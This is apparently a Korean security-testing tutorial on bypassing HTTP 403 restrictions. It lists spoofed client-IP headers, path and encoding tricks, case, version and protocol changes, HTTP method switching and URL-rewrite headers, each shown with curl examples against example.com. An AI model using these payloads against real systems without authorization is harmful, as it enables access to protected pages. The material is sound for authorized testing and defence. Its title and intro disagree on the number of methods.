403 forbidden을 우회하는 4가지 방법들
때때로 보안 테스팅 시 WAF나 Application의 로직에 따라 403 Forbidden 으로 접근이 제한되는 경우가 있습니다. 보통은 백엔드의 처리 로직을 봐야 정확하게 우회할 수 있는 포인트를 잡겠지만, 몇가지 트릭을 통해 Black Box Testing 상태에서도 이를 우회할 수 있습니다.
오늘은 403을 우회하는 3가지 방법들에 대해 가볍게 이야기하려고 합니다.
Escape from IP/Host range blocking
HTTP Request Header는 정말 많은 것들이 있습니다. 이중에 X로 시작하는 커스텀 헤더들의 경우 WAS, WebApp, WAF 등 서버에 따라 이를 인지하고 처리하는 경우도 존재하는데요. 이를 이용하면 403이 발생하는 페이지에서 차단하는 로직을 우회하고 접근할 수 있는 포인트가 될 수 있습니다.
일반적으로 Client의 IP/Host를 속일 수 있는 헤더들은 아래와 같습니다.
- X-Custom-IP-Authorization: 127.0.0.1
- X-Forwarded: 127.0.0.1
- X-Forwarded-For: 127.0.0.1
- X-Forwarded-Host: localhost
- X-Forwarded-By: 127.0.0.1
- X-Forwarded-Port: 80
- X-Forward-For: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Originating-IP: 127.0.0.1
- X-Remote-Addr: 127.0.0.1
- X-Client-IP: 127.0.0.1
- X-Real-IP: 127.0.0.1
- X-True-IP: 127.0.0.1
- Redirect: http://localhost
- Referer: http://localhost
- Host: localhost
403 페이지 접근 시 아래와 같이 해당 헤더를 이용하여 WAS, WebApp, WAF 등이 허용 대역에서 온 요청인 것 처럼 속여 정상 Response를 유도할 수 있습니다.
e.g (차단)
curl -i -k https://example.com
HTTP/1.1 403 Forbidden
e.g (우회)
curl -i -k -H "X-Remote-IP: 10.10.10.10" https://example.com
HTTP/1.1 200 OK
This is secret page
Escape from path-base blocking
URI Path 기반의 차단 로직으로 인해 403이 발생하는 경우 아래 패턴과 같이 실제 해당 URL을 바라보지만, 정규식 등에 걸리지 않도록 경로를 이용하여 차단 로직을 우회할 수 있습니다.
- target.com/secret
- target.com/%2e/secret
- /secret%20
- /secret%09
- /secret%00
- /%90/secret
- /%2e/secret
- /secret/
- /secret/.
- //secret//
- /./secret
- /;/secret
- /.;secret
- //;//secret
- /secret..;/
- /secret/..;/
- /secret.json
- /secret.css
- /secret.html
- /secret?
- /secret??
- /secret???
- /secret?testparam
- /secret#
- /secret#test
Encoding
보통 위 패턴을 URL Encode, Double URL Encode 그리고 Unicode로 처리한 값으로 많이 사용합니다.
- Original: //secret
- URL: /%2fsecret
- DURL: /%252fsecret
- Unicode: /%ef%bc%8fsecret
Letter case
대소문자를 이용해 우회할 수도 있습니다. 보통 Application 서버와 WAS 간의 처리 방식 차이로 발생하며 WAS에서 정규식 기반으로 차단하는 경우 이 케이스가 발생할 가능성이 높습니다.
- Original: /secret
- Upper: /SECRET
Change API Version
API의 경우 버전별로 접근 제어가 다른 경우가 있습니다.
- Original: /v1/secret
- Change: /v2/secret
Change Protocol
때때로 https 등에서만 접근 제어를 하는 경우도 있습니다.
- Original: https://target.hahwul.com/secret
- Original: http://target.hahwul.com/secret
Common patterns
대표적으로 사용되는 쿼리 페이로드는 아래와 같습니다.
%09
%20
%23
%2e
%2f
.
;
..;
;%09
;%09..
;%09..;
;%2f..
*
e.g (차단)
curl -i -k https://example.com/secret
HTTP/1.1 403 Forbidden
e.g (우회)
curl -i -k https://example.com/;%09/secret
HTTP/1.1 200 OK
This is secret page
Bypass with change Method
때때로 서비스는 HTTP 메소드까지 매핑하여 차단하는 경우가 있습니다. 이러한 경우 차단되지 않는 메소드를 찾아 우회할 수 있습니다.
HTTP Methods
- GET
- POST
- PATCH
- DELETE
- PUT
- DEBUG
- OPTIONS
- TRACE
- HEAD
- CONNECT
e.g (차단)
curl -i -k https://example.com/secret
HTTP/1.1 403 Forbidden
e.g (우회)
curl -i -k -X "POST" https://example.com/secret
HTTP/1.1 200 OK
This is secret page
Bypass with rewrite URL
일부 서버는 경로를 새로 지정하는 re-write 계열의 헤더를 처리하는 서버가 존재합니다. 이를 이용하면 접근이 제한된 페이지를 백엔드단에서 URL을 재 설정하여 접근할 수 있습니다.
- X-Rewrite-URL
- X-Original-URL
e.g (차단)
curl -i -k https://example.com/secret
HTTP/1.1 403 Forbidden
e.g (우회)
curl -i -k -H "X-Rewrite-URL: /secret" https://example.com
HTTP/1.1 200 OK
This is secret page
Tools
- https://github.com/PortSwigger/403-bypasser (Burpsuite Extension)
- https://www.zaproxy.org/docs/alerts/40038/ (ZAP Active Rule)
References
- https://developer.mozilla.org/ko/docs/Web/HTTP/Status/403
- https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/X-Forwarded-For
- https://developer.mozilla.org/ko/docs/Web/HTTP/Headers/X-Forwarded-Host